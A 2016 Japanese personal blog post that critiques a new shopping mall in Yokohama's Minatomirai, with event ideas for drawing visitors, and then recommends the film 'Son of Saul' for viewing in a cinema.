ハマの新名所?今のままではちょっと…
2016/03/16
海近ショッピングモール
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先日確定申告の提出(還付早いとこщ(゚д゚щ)カモーン!!)に行ったついでに、みなとみらいに新しく出来たモールを覗いてきました。
小さな建物の集合体で動線は屋外というのは海近ロケーションを活かしていて西海岸ぽくもあり、テナントをはめ込んでいく既存のファッションビルに比べれば真新しさもあります。しかし
最寄り駅から徒歩15分強
というのはかなりキツイ。もちろんクルマで来る人も結構いるんでしょうけど。
オープン直後だけあって平日の割には人出ありましたし、暖かくなってくれば隣の赤レンガ倉庫からの流れもあるでしょうけど、このあたりは基本的に観光気分でお散歩してる人たちなので買い物モードではないんですよね……。

なぜネイバーフッドなのか
運営会社は、出来ましたハイお仕事終了ではダメ
目玉のFred Segal(なぜがReal McCoy’sが置いてあった)+アパレル+飲食という構成でしたが、代官山クラスの蔦屋書店はムリとしてもBOOKMARC(もっとムリ?)みたいなキュレーション型のブックストアとかデザイン家電のお店とか、カルチャーとライフスタイルを複層的に見せる組み合わせでも良かったんじゃないかと思うんですよね。
電車の相互乗り入れが進んだおかげで物理的心理的にさらに都心が近くなった横浜で「地区初出店」と謳っても響きません。Fred Segalだって大半の人にとっては「あそこのホラ、何だっけあのBeamsみたいなお店」位の印象でしょう。どうせなら店員半分くらい日本語まあまあ喋れる外国人にするくらいブッ飛んでてもいいのに。集められるか分かりませんけど。
海に面したボードウオークがあるのでそこで朝ヨガやってからの意識高い系朝メシ食べさせるイベントやります参加費8,000円です。
LAのグラフィックアーティスト招いて壁面にライブペインティングやりますイベント記念Tとマグカップ込みで1万円です。
みたいなのどうですかね。近年はトレンドを鎌倉に奪われつつありますけど、ハマの人間は東京に妙な対抗意識(あるいは無意識に)があるので、「どうだお前らんとこのファッションビルじゃこんな遊び方出来ないだろ」と言いたくなるような特別感をツンツン刺激してやったらいいんですよ。地元民に愛でてもらうのがリピーター獲得には一番。
というよりも定期的に人を呼ぶイベントみたいなものを提案しないとこの立地は相当しんどいのでは。梅雨とか長雨の季節の集客を考えただけで背筋寒くなりますもん。
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本日の映画
この日は朝イチで、アカデミー賞受賞と耳にして俄然その気になった分かりやすさで『サウルの息子』も観に行ったのでした。アウシュビッツ強制収容所についてはナチスによるユダヤ人大量虐殺のあった場所、くらいの知識しかありませんが、
- ユダヤ教では死者復活のために肉体が必要なので、弔う際は埋葬
- 一方ナチスはユダヤ人の根絶を目指すから、ガス室に送った後の遺体は燃やす
- 「カディッシュ」はユダヤ教の祷りのことば
- 「カディッシュ」を唱える宗教的指導者を「ラビ」(寺でいう住職)と呼ぶ
予習はこの程度で十分です。
カメラワークの凄さに上映2分で目が、5分で耳がクギ付け。
この強制没入感は映画を観るというよりは体験に近い。自宅の小さなPC画面やテレビで、また、途中で止めてトイレ行ったり出来るHulu的環境では魅力半減の半減の半減位なので、観るなら暗闇のなかの大きいスクリーンです。
そして見終わったあとに『サウルの息子』という題名がじわっと沁みてきます。原題の『SON OF SAUL』をこねくりまわさなかったとこはグッジョブ。すんごい映画です。上映館は少ないですが、繰り返しますが観るなら映画館ですよ。